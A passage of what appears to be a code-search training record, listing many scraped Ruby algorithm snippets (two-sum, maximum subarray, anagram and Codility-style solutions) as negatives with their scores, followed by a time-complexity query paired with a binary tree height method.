return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def solution(a)\n a.uniq.count\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def fds(n)\n\n # arr = []\n # (n + 1).times.each{|e| arr << e if e > 0}\n # arr.flat_map.reduce(:*)\n # arr.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n (1..n).to_a.flat_map.reduce(:*).to_s.split(//).map(&:to_i).reduce(:+)\n\nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n arr =[]\r\n a.each_with_index{|el,i|\r\n \r\n if !arr.index(el) \r\n arr << el\r\n end\r\n \r\n }\r\n arr.count\r\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def lAS(n: 0)\n array = [1]\n puts \"#{array.inspect}\"\n previous = array.first\n new_array = []\n counter = 0\n \n n.times do\n previous = array.first\n counter = 0\n new_array = []\n \n array.each do |element|\n if(element == previous)\n counter = counter + 1\n else\n new_array << counter\n new_array << previous\n counter = 1\n previous = element\n end\n end\n \n new_array << counter\n new_array << previous\n array = new_array.dup\n puts \"#{array.inspect}\"\n end\nend", "def sub_sum_better(list)\n largest_sum = list.first\n\n #iterate over once.\n # as you iterate keep a tally of the sum.\n # indexing into an array is O(1)\n # [2, 3, -6, 7, -6, 7]\n\n sub_sum = 0\n list.each do |el|\n sub_sum += el\n largest_sum = sub_sum if sub_sum > largest_sum\n\n sub_sum = 0 if sub_sum < 0\n end\n\n largest_sum\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def my_min1(arr)\n arr.each do |el1| #O(n)\n if arr.all? {|el2| el1 <= el2 } #O(n + 1)\n return el1\n end\n end \nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend", "def my_min_2(arr) #O(N)\n min_num = arr.first\n \n arr.each { |num| min_num = num if num < min_num }\n \n min_num\n end", "def largest_contiguous_subsum_2(list)\n largest_sum = 0\n current_sum = 0\n\n list.each do |el|\n largest_sum = current_sum \n current_sum += el \n if current_sum < el \n current_sum = el \n end \n largest_sum = current_sum if largest_sum < current_sum\n end\n\n largest_sum\nend", "def solution(a)\n # write your code in Ruby 2.2\n seen = {}\n\n a.each do |number|\n seen[number] = true\n end\n\n max = a.max\n\n for i in 1..(max + 1)\n return i unless seen[i]\n end\n\n 1\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "def two_sum?(arr, target)\r\n hash = {}\r\n arr.each_with_index do |ele, i| #n\r\n hash[i] = ele\r\n end\r\n arr.each_with_index do |ele, i| #n \r\n value = target - ele\r\n if hash.has_value?(value) && hash.key(value) != i\r\n return true\r\n end\r\n # all the keys in has except i\r\n # if any of the value = value\r\n end\r\n false\r\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def my_min(arr) # Find\n min = arr[0]\n\n arr.each do |el| # Go through array once O(n)\n min = el if el < min # update min while going through if found min\n end\n min\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def arrayManipulation(n, queries)\n nums = Array.new(n+1, 0)\n queries.each do |query|\n nums[query[0]-1] += query[2]\n nums[query[1]] -= query[2]\n end\n\n max = nums.first\n (1..nums.length-1).each do |i|\n nums[i] += nums[i - 1]\n max = nums[i] if nums[i] > max && i < (nums.size - 1)\n end\n\n max\nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def find_it(seq)\n uniqueInts=seq.uniq\n\n uniqueInts.each do |value|\n k=0\n seq.each do |mainSeq|\n k+=1 if mainSeq==value\n end\n return value if k%2==1\n end\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def unique_items(arr) #O(n)\n hash = Hash.new(0)\n results = []\n arr.each do |el|\n hash[el] += 1\n end\n hash.select { |k, v| k if v == 1 }.keys\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend", "def two_sum(nums, target)\n table = {}\n i = 0\n while i < nums.length\n table[target - nums[i]] = i\n i += 1\n end\n \n j = 0\n while j < nums.length\n if table.key?(nums[j]) && j != table[nums[j]]\n return [j, table[nums[j]]] \n end\n j += 1\n end\nend", "def josephus_survivor(n,k)\n arr = (1..n).to_a\n\n while arr.length > 1\n idx = k % arr.length\n\n if arr.length > k\n arr = arr.drop(k) + arr.take(k - 1)\n elsif arr.length == k \n arr = arr[0...-1]\n else\n arr = arr.drop(idx) + arr.take(idx - 1)\n end\n end\n \n arr[0]\nend", "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def largest_contiguous_subsum(list) # O(n^2)\n array = []\n list.each_with_index do |ele1, i1| # O(n^2)\n (i1...list.length).each do |i2|\n array << list[i1..i2]\n end\n end\n\n max_sum = array.first.sum\n array[1..-1].each do |subarr| # O(n^2)\n sum = subarr.sum\n if sum > max_sum\n max_sum = sum\n end\n end\n\n max_sum\n\nend", "def slow_solution(a)\n m = 0\n a.size.times do |i|\n a[i] = a[i].abs\n m = [a[i], m].max\n end\n maxsum = a.sum # sum of absolute val of all nums in array\n # maxsum = a.map(&:abs).sum <- Ruby shortcut\n\n # If dp = 1 at an index, it means some combo of elements in a add up to that index\n dp = [0] * (maxsum + 1)\n dp[0] = 1\n\n a.size.times do |j|\n maxsum.downto(0).each do |possible_sum|\n puts \"a[j]: #{a[j]}, possible sum: #{possible_sum}\"\n if (dp[possible_sum] == 1) and (possible_sum + a[j] <= maxsum)\n\n # if possible_sum + new element a[j] is possible sum, dp = 1!\n dp[possible_sum + a[j]] = 1\n puts \"Mark #{possible_sum + a[j]} as possible sum in dp\"\n end\n end\n puts \"row: #{j}, a[j]: #{a[j]}, dp: #{dp}\"\n puts\n end\n\n min_q_minus_p = maxsum\n\n # Divide array a into 2 parts, where P = sum of part 1 and Q = sum of part 2,\n # P + Q = maxsum, and P <= maxsum / 2 <= Q.\n # We want largest possible P to get smallest possible Q-P.\n\n # loop from 0 to maxsum / 2, covering every possible P, Q division\n (maxsum / 2 + 1).times do |possible_half_sum|\n # puts \"possible_half_sum: #{possible_half_sum}\"\n if dp[possible_half_sum] == 1 # means P or Q = possible_half_sum\n q_minus_p = maxsum - 2 * possible_half_sum\n # puts \"Q - P: #{q_minus_p}\"\n min_q_minus_p = [min_q_minus_p, q_minus_p].min\n # puts \"min Q - P: #{min_q_minus_p}\"\n end\n end\n\n min_q_minus_p\nend" ]
[ "0.6914348", "0.6609048", "0.6416534", "0.63194925", "0.62016535", "0.61871785", "0.60697335", "0.6059072", "0.6053246", "0.6047552", "0.6037029", "0.5990324", "0.5985229", "0.5983502", "0.59483737", "0.5907289", "0.58986485", "0.5894127", "0.589302", "0.5891029", "0.5862035", "0.58598244", "0.5858714", "0.5855247", "0.5843146", "0.58418566", "0.58414876", "0.5833874", "0.5817489", "0.5815855", "0.5806325", "0.580488", "0.5772253", "0.5772051", "0.57717395", "0.5765617", "0.57646245", "0.57498574", "0.5738152", "0.5717594", "0.5713044", "0.57074326", "0.5705395", "0.5694224", "0.56867945", "0.5683187", "0.5679512", "0.5672323", "0.5669691", "0.56692356", "0.56663734", "0.56610006", "0.5658108", "0.565659", "0.56565076", "0.56472635", "0.56471044", "0.5646928", "0.564319", "0.5639335", "0.5632905", "0.5631649", "0.56315875", "0.5626763", "0.5620871", "0.5610765", "0.56105435", "0.56097084", "0.5607952", "0.5605864", "0.5603876", "0.5602009", "0.559539", "0.5590729", "0.55905277", "0.5582398", "0.5571507", "0.55680686", "0.5566327", "0.55646074", "0.5564035", "0.55635667", "0.555963", "0.5559094", "0.5558474", "0.55533934", "0.5552461", "0.5547638", "0.55440915", "0.55439085", "0.5540858", "0.55365527", "0.5531126", "0.55287385", "0.55236286", "0.55215394", "0.55211776", "0.5519715", "0.5519587", "0.55128413", "0.5511962" ]
0.0
-1
Time Complexity: O(n) Space Complexity: O(1)
def height(node=@root) node.nil? ? 0 : (1 + [height(node.right), height(node.left)].max) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
